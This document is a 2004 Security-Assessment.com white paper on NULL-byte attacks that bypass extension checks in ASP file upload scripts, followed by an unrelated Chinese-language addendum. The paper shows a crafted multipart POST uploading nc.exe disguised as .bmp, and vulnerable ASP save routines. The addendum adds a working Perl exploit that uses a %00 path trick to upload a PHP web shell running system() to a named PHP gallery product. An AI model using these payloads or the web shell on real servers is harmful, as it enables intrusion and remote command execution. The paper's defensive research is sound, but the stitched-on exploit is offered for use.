Copyright Security-Assessment.com Ltd 2004
White Paper
Title: 0x00 vs ASP file upload scripts
Prepared by: Brett Moore
Network Intrusion Specialist
Security-Assessment.com
Date: 13 July 2004
13/07/2004 Page 2 of 7
Copyright Security-Assessment.com Ltd 2004
Abstract
The affects of the `Poison NULL byte` have not been widely explored in ASP, but
as with other languages the NULL byte can cause problems when ASP passes
data to objects.
Many upload systems written in ASP suffer from a common problem whereby a
NULL byte can be inserted into the filename parameter leading to any extension,
after the null byte, being ignored when writing the file.
This means that in some cases it is possible to bypass checks for valid
extensions, even if one is appended by the application.
This is very similar to attacks against perl and PHP, the difference being how the
null byte is sent to the application.
This problem arises when data is compared and validated in ASP script but
passed to the FileSystemObject without checking for NULL bytes.
This document will discuss how ASP upload scripts can be affected by the Poison
NULL byte attack.
Scope
The information in this document is based on research done using upload
systems that incorporate multipart/form-data posts and the
Scripting.FileSystemObject object.
Throughout this document we focus on the CreateTextFile method, which is used
to create a file for writing, but it is possible that other objects functions are
vulnerable to the same type of problem.
A %00 or NULL can not be sent through the URL or a normal form post as the
web server registers this as the end of the string, but does not store it in the
filename variable.
When a filename is sent using a multipart/form-data post the null byte will be
included in the filename variable, thus affecting calls to the FileSystemObject.
File Uploading
File uploading is commonly done using an input object of type file and an
encoding type of multipart/form-data.
The content type "application/x-www-form-urlencoded" is inefficient for sending
large quantities of binary data or text containing non-ASCII characters. The
13/07/2004 Page 3 of 7
Copyright Security-Assessment.com Ltd 2004
content type "multipart/form-data" should be used for submitting forms that
contain files, non-ASCII data, and binary data.
A "multipart/form-data" message contains a series of parts, each representing a
successful control. The parts are sent to the processing agent in the same order
the corresponding controls appear in the document stream.
When submitted the forms data will be sent in the multipart/form-data format. This
allows for the transfer of all bytes, including nulls, within the forms posted data.
Upon receiving the post, the target ASP page needs to process and decode the
posted data into a useable state.
File Saving
At some point in the uploading process, the file will be saved to a file location. The
following is some commonly used code to do this.
Public Sub Save(filename)
Dim objFSO, objFSOFile
path=server.MapPath(“/uploads/”)
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFSOFile = objFSO.CreateTextFile(path + "/" + filename)
objFSOFile.Write
objFSOFile.Close
End Sub
When the filename parameter is passed to the CreateTextFile() function, it may
contain NULL bytes. This can affect the name of the created file as the
CreateTextFile only reads up to the NULL byte when creating the file.
Set objFSOFile = objFSO.CreateTextFile(path + "/" + filename)
If filename contains a NULL byte, anything after that byte will be ignored.
Null Byte
The NULL byte can be inserted manually through modifications to the multipart
post data using a hex editor, or by using a web proxy.
Multipart Form Post
POST /upload.asp HTTP/1.0
Content-Type: multipart/form-data; boundary=---------------------------
7d4cb161b009c
Host: localhost
Content-Length: 359
Pragma: no-cache
Cookie: ASPSESSIONIDSAADRCRS=LAKNNAKAGMIBJCOOLBIFEHIK
-----------------------------7d4cb161b009c
Content-Disposition: form-data; name="YourFile"; filename="c:/nc.exe .bmp"
Content-Type: text/plain
Proof Of Upload Test File
brett.moore@security-assessment.com
-----------------------------7d4cb161b009c
Content-Disposition: form-data; name="submit"
Upload
-----------------------------7d4cb161b009c
The filename parameter of the above post has been changed as such;
N C . E X E (null) . B M P
4E 43 2E 45 58 45 00 2E 42 4D 50
Note that an actual NULL byte (0x00) has been inserted between the .exe and the
.bmp.
Script Tests
The following two file save scripts shown below are examples of upload scripts
where the extension of the written file can be arbitrarily set.
In both cases tFile is the filename parameter passed through the post.
Example One ( File Extension Appending )
Public Sub Save(Path)
Dim objFSO, objFSOFile
Dim lngLoop
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFSOFile =
objFSO.CreateTextFile(objFSO.BuildPath(Path, tFile + ".bmp"))
‘ Write the file contents
For lngLoop = 1 to LenB(m_Blob)
objFSOFile.Write Chr(AscB(MidB(m_Blob, lngLoop, 1)))
Next
objFSOFile.Close
End Sub
Example Two ( File Extension Checking )
Public Sub Save(Path)
Dim objFSO, objFSOFile
Dim lngLoop
‘ Check the file extension
if right(tFile,4) <> “.bmp” then exit sub
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFSOFile=
objFSO.CreateTextFile(objFSO.BuildPath(Path, tFile))
‘ Write the file contents
For lngLoop = 1 to LenB(m_Blob)
objFSOFile.Write Chr(AscB(MidB(m_Blob, lngLoop, 1)))
Next
objFSOFile.Close
End Sub
13/07/2004 Page 6 of 7
Copyright Security-Assessment.com Ltd 2004
Final Summary
It has commonly been thought that web applications written in ASP are safe from
the problems associated with NULL bytes. While in most instances this is true, it
can be seen here that applications that make use of objects external to the native
ASP scripting language, can be affected by NULL bytes.
It is probable that other objects and areas can also be manipulated to some extent
when their data is collected through a multipart/form-data post.
As in other areas, proper validation of user input is paramount to the security of
web applications. It is therefore important to check input not only for common
attack strings used for folder traversal, but also for NULL bytes before using the
input in the creation of files.
References
Perl CGI problems - rain.forest.puppy
http://www.phrack.org/show.php?p=55&a=7
Bugtraq Post Regarding PHP and null bytes
http://seclists.org/lists/bugtraq/2003/Jan/0159.html
OWASP HTML Version
http://www.cgisecurity.com/owasp/html/guide.html#id2846281
Forms in HTML documents
http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.4
Security-Assessment.com
www.security-assessment.com
另
当PHP程序有指定PATH时,在PATH文件后门加入%00可以上传任意文件.
测试程序:NEATPIC PHP目录直读版 1.2.3
http://web.cncode.com/SoftView.asp?SoftID=1820
一个漏洞利用程序:
!/usr/bin/perl
$| = 1;
use Socket;
$host = "127.0.0.1";
$port = "80";
$UploadTo = "";
$str =
"-----------------------------7d41f4a600472/r/n".
"Content-Disposition: form-data; name=/"path/"/r/n".
"/r/n".
"www.ppp%00/r/n".
"-----------------------------7d41f4a600472/r/n".
"Content-Disposition: form-data; name=/"image/"; filename=/"F://tools//1.gif/"/r/n".
"Content-Type: text/plain/r/n".
"/r/n".
"<?php/r/n".
"system($c);/r/n".
"?>/r/n".
"-----------------------------7d41f4a600472--/r/n".
"/r/n";
print $str;
$len=length($str);
print $len;
$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1/r/n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*/r/n".
"Referer: http://127.0.0.1/index.php?path=./r/n".
"Accept-Language: zh-cn/r/n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".
"Accept-Encoding: gzip, deflate/r/n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)/r/n".
"Host: 127.0.0.1/r/n".
"Content-Length: $len/r/n".
"Connection: Keep-Alive/r/n".
"Cache-Control: no-cache/r/n".
"Cookie: PHPSESSID=111111111111111111111111/r/n".
"/r/n".
"$str/r/n/r/n";
print $req;
@res = sendraw($req);
print @res;
#Hmm...Maybe you can send it by other way
sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems/n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems/n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect.../n");
}
}